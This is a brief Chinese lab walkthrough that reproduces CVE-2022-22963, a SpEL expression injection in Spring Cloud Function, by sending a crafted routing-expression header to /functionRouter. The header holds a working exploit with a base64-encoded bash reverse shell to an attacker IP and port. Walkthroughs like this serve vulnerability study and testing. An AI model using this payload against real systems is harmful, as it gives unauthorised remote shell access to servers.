Spring Cloud Function Spel表达式注入 CVE-2022-22963 漏洞复现

本文主要是介绍Spring Cloud Function Spel表达式注入 CVE-2022-22963 漏洞复现，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

Spring Cloud Function Spel表达式注入 CVE-2022-22963 漏洞复现

名称: Spring Cloud Function SPEL 远程代码执行

描述: Spring Cloud Function 是基于Spring Boot 的函数计算框架，它抽象出所有传输细节和基础架构，允许开发人员保留所有熟悉的工具和流程，并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理，造成了Spel表达式注入漏洞，未经授权的远程攻击者可利用该漏洞执行任意代码。

‍

靶场打开以后，访问这个地址，抓取这个地址的数据包

​/functionRouter​

​

‍

把数据包的请求模式改成POST，注意：POST不能直接切换要右键通过选项来切换

在请求头中添加如下字段，其中这段base64的值是反弹shell的命令，要自己替换成自己的。

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEzOC85MDA0IDA+JjE=}|{base64,-d}|{bash,-i}")

​​

​​

攻击机上监听指定端口 ：

​​

‍

‍

点击发送数据包后，即可在这边接收到来自目标的shell

​​

​​

‍

这篇关于Spring Cloud Function Spel表达式注入 CVE-2022-22963 漏洞复现的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---